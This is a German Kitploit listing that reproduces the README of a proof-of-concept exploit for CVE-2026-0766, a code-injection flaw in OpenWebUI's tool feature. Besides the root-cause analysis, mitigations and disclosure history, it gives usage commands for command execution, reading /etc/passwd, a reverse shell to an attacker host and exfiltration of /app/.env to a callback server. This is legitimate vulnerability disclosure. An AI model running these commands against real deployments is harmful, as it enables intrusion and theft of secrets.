Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-0766 — Proof-of-Concept-Exploit für CVE-2026-0766, eine Remote-Code-Ausführungsschwachstelle in OpenWebUI über Tool-Code-Injection. Enthält Befehlsausführung, Dateilesen, Reverse-Shell- und blinde Exfiltrationsmodi. | Kitploit
Tools/GitHubGitHub/bitt0n/cve-2026-0766
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubbitt0n/cve-2026-0766

CVE-2026-0766

Proof-of-Concept-Exploit für CVE-2026-0766, eine Remote-Code-Ausführungsschwachstelle in OpenWebUI über Tool-Code-Injection. Enthält Befehlsausführung, Dateilesen, Reverse-Shell- und blinde Exfiltrationsmodi.

Repository anzeigen
4vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-0766: OpenWebUI Remote Code Execution

Repository für sicherheitsbezogene Bildungsforschung

Dieses Repository enthält Proof-of-Concept-Exploit-Code für CVE-2026-0766, eine Remote-Code-Execution-Schwachstelle in OpenWebUI, die vom Zero Day Initiative (ZDI) entdeckt und veröffentlicht wurde.


⚠️ Haftungsausschluss

Dieses Repository dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken.

  • Verwenden Sie diesen Code, um Ihre eigenen Systeme oder Systeme zu testen, für die Sie ausdrücklich autorisiert sind
  • Nutzen Sie dies zum Lernen über Sicherheitslücken in LLM-Plattformen
  • ❌ Verwenden Sie dies niemals gegen Systeme ohne ausdrückliche Genehmigung
  • ❌ Unautorisierter Zugriff auf Computersysteme ist illegal

Der Autor übernimmt keine Haftung für Missbrauch dieses Codes. Die Nutzer sind allein dafür verantwortlich, dass ihre Aktivitäten allen geltenden Gesetzen und Vorschriften entsprechen.


📋 Schwachstellenübersicht

EigenschaftWert
CVE-IDCVE-2026-0766
Entdeckt vonZero Day Initiative (ZDI)
Betroffene SoftwareOpenWebUI
SchwachstellentypCode-Injection (CWE-94)
CVSS-Score8.8 HOCH
CVSS-VektorAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AngriffskomplexitätNiedrig (authentifizierter Administrator oder Benutzer mit Tool-Erstellungs-/Aktualisierungsrechten kann ausnutzen)

Was ist OpenWebUI?

OpenWebUI ist eine selbst gehostete Weboberfläche für Large Language Models. Es bietet eine ChatGPT-ähnliche Erfahrung, die Organisationen auf ihrer eigenen Infrastruktur betreiben können, wodurch LLM-Konversationen und -Daten lokal (on-premises) bleiben.

Die Schwachstelle

OpenWebUI enthält eine „Tools“-Funktion, die es Benutzern ermöglicht, LLM-Fähigkeiten durch das Einreichen von Python-Code zu erweitern. Dieser Code wird serverseitig über die Python-Funktion exec() ohne Sandboxing, Validierung oder Sicherheitskontrollen ausgeführt.

Ausnutzungsablauf:

  1. Ein authentifizierter Benutzer erstellt ein „Tool“ über POST /api/v1/tools/create
  2. Der vom Benutzer bereitgestellte Python-Code wird im Feld content gespeichert
  3. Der Server ruft exec(content, module.__dict__) in utils/plugin.py auf
  4. Beliebiger Python-Code wird mit vollen Serverrechten ausgeführt
  5. Der Angreifer erreicht Remote Code Execution (RCE)

Wichtige Erkenntnis: Der Code wird zum Zeitpunkt der Tool-Erstellung ausgeführt, nicht wenn das LLM das Tool aufruft. Das bedeutet, dass das bloße Erstellen eines bösartigen Tools RCE auslöst – keine weitere Interaktion erforderlich.

Getestete Versionen

Dieser Exploit wurde verifiziert auf:

  • OpenWebUI v0.8.10 – Verwundbar ✅ (getestet am 28.03.2026)

Die Schwachstelle ist architektonischer Natur (unsichere Verwendung von exec() auf Benutzereingaben) und existiert in allen Versionen, bis ein Sicherheitspatch vom OpenWebUI-Team veröffentlicht wird.


🔍 Technische Details

Grundursache

Die Schwachstelle existiert in backend/open_webui/utils/plugin.py:

root@kitploit:~
def load_tool_module_by_id(tool_id: str, content: str):
    # Minimale Vorverarbeitung (KEINE Sicherheitskontrolle)
    content = replace_imports(content)

    # Modul erstellen und Benutzercode ausführen
    module = types.ModuleType(f"tool_{tool_id}")
    exec(content, module.__dict__)  # ← SCHWACHSTELLE

    return module

Die Funktion replace_imports() schreibt nur Importpfade um (kosmetisch) – sie beschränkt nicht, welcher Code ausgeführt werden kann. Es gibt:

  • ❌ Kein Sandboxing (keine eingeschränkte Ausführungsumgebung)
  • ❌ Keine Code-Validierung (keine AST-Inspektion oder Allowlisting)
  • ❌ Keine Berechtigungsprüfungen (alle authentifizierten Benutzer können standardmäßig Tools erstellen)
  • ❌ Keine Privilegientrennung (Code läuft als OpenWebUI-Dienstkonto)

Reaktion des Herstellers

Das OpenWebUI-Team bewertete dies zunächst als niedrige Priorität und wies darauf hin, dass die Tool-Erstellung Administratorrechte erfordert. Jedoch:

  1. Berechtigungsdelegation ist üblich – Viele Bereitstellungen gewähren Power-Usern, Workspace-Administratoren und Entwicklern die Tool-Erstellung
  2. Kompromittierte Administratorkonten – Phishing, Credential Stuffing und SSO-Kompromittierung können Angreifern Admin-Zugriff verschaffen
  3. Verletzung der Verteidigung in der Tiefe – Auch Admin-Aktionen sollten eingeschränkt sein; uneingeschränkte Code-Ausführung bricht das Prinzip der geringsten Privilegien
  4. Nutzen nach Kompromittierung – Diese Schwachstelle ist in Angriffsketten nach dem ersten Zugriff wertvoll

Nachdem der Hersteller vorschlug, dass Administratoren dies mit eingeschränktem Zugriff verwalten sollten, hat ZDI dies als 0-Day-Schwachstelle veröffentlicht (ZDI-26-032), um Verteidiger zu informieren.

Der Autor respektiert die Herausforderungen bei der Pflege von Open-Source-Projekten. Sicherheits-Patching erfordert die Abwägung von Benutzerbedürfnissen, architektonischen Einschränkungen und begrenzten Ressourcen. Diese Veröffentlichung zielt darauf ab, Sicherheitsteams bei der Risikobewertung und der Implementierung von Gegenmaßnahmen zu unterstützen.


🛠️ Proof of Concept

Installation

root@kitploit:~
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3

Verwendung

Das Exploit-Skript (exploit.py) unterstützt mehrere Angriffsmodi:

1. Befehlsausführung

Betriebssystembefehle ausführen und Ausgabe abrufen:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"

2. Dateilesen

Dateien vom Server-Dateisystem lesen:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd

3. Reverse Shell

Eine Reverse Shell starten (erfordert netcat-Listener):

root@kitploit:~
# Auf dem Angreifer-Rechner:
nc -lvnp 4444

# Exploit ausführen:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444

4. Blinde Exfiltration

Befehlsausgabe an einen HTTP-Callback-Server senden:

root@kitploit:~
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"

Authentifizierung

Das Skript akzeptiert sowohl JWT-Tokens (aus SSO-Login) als auch API-Schlüssel:

Ein JWT-Token erhalten:

  1. Melden Sie sich normal bei OpenWebUI an (SSO oder lokale Authentifizierung)
  2. Öffnen Sie die Browser-DevTools (F12)
  3. Finden Sie Ihr Token:
    • Cookies-Tab: Suchen Sie nach dem Wert des token-Cookies
    • Netzwerk-Tab: Kopieren Sie den Header Authorization: Bearer ... aus einer beliebigen API-Anfrage
    • Konsole: Führen Sie localStorage.getItem("token") aus
  4. Übergeben Sie das Token an das Skript: --token eyJhbGci...

🔐 Gegenmaßnahmen

Für Verteidiger

Wenn Sie OpenWebUI betreiben und nicht sofort patchen können:

  1. Beschränken Sie Tool-Erstellungsberechtigungen auf nur hochvertrauenswürdige Administratoren
  2. Auditieren Sie bestehende Tools auf bösartigen Code (prüfen Sie den Tool-Inhalt in der Datenbank)
  3. Betreiben Sie OpenWebUI mit minimalen Privilegien (dediziertes Dienstkonto, nach Möglichkeit schreibgeschütztes Dateisystem)
  4. Implementieren Sie Netzwerk-Egress-Filterung (Container sollte keinen beliebigen ausgehenden Zugriff haben)
  5. Überwachen Sie verdächtige Tool-Erstellungen (achten Sie auf Tools, die außerhalb normaler Arbeitsabläufe erstellt werden)

Empfohlene Fixes (für Maintainer)

  1. Ersetzen Sie exec() durch eine sichere Alternative:

    • Verwenden Sie RestrictedPython für Sandbox-Ausführung
    • Parsen Sie den Python-AST und validieren Sie gegen eine Allowlist sicherer Operationen
    • Führen Sie Tool-Code in isolierten Containern aus (gVisor, Firecracker)
  2. Fügen Sie Berechtigungsprüfungen hinzu:

    • Verlangen Sie Admin-Genehmigung für neue Tools
    • Implementieren Sie rollenbasierte Zugriffskontrolle für die Tool-Erstellung
    • Fügen Sie einen Code-Review-Workflow hinzu, bevor Tools aktiv werden
  3. Verteidigung in der Tiefe:

    • Führen Sie Tools in separaten Prozessen mit Syscall-Filterung (seccomp) aus
    • Beschränken Sie den Dateisystemzugriff auf schreibgeschützt
    • Entfernen Sie den Netzwerkzugriff aus der Tool-Ausführungsumgebung

📚 Referenzen

  • NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2026-0766
  • ZDI-Advisory: https://www.zerodayinitiative.com/advisories/ZDI-26-032/
  • GitHub-Sicherheitsadvisory: https://github.com/advisories/GHSA-cggw-334c-f4mj
  • CWE-94 (Code-Injection): https://cwe.mitre.org/data/definitions/94.html
  • OWASP Code-Injection: https://owasp.org/www-community/attacks/Code_Injection

🙏 Danksagungen

  • Schwachstellenentdeckung: Zero Day Initiative (ZDI) – ZDI-26-032 / ZDI-CAN-28257
  • Exploit-Forschung & PoC-Entwicklung: Pradeep Pillai (@bitt0n)

📜 Lizenz

MIT-Lizenz – Siehe Datei LICENSE für Details.

Dieser Code wird für Bildungs- und defensive Sicherheitszwecke bereitgestellt. Der Autor ist nicht für Missbrauch verantwortlich.


🤝 Verantwortungsvolle Offenlegung

Diese Schwachstelle wurde verantwortungsvoll offengelegt:

  1. ZDI entdeckte und meldete die Schwachstelle an OpenWebUI
  2. Koordinierter Offenlegungszeitraum wurde dem Hersteller zum Patchen gewährt
  3. Hersteller lehnte das Patchen ab (als akzeptables Risiko bewertet)
  4. ZDI veröffentlichte als 0-Day, um die Sicherheitsgemeinschaft zu informieren
  5. Dieses PoC wurde nach der Offenlegung veröffentlicht, um Verteidigern bei der Risikobewertung zu helfen

Wenn Sie Sicherheitslücken in Open-Source-Projekten entdecken, befolgen Sie bitte Praktiken der verantwortungsvollen Offenlegung und geben Sie Maintainern Zeit zum Patchen, bevor Sie öffentlich offenlegen.


Für Fragen oder Feedback: Eröffnen Sie ein Issue in diesem Repository.

Tool herunterladen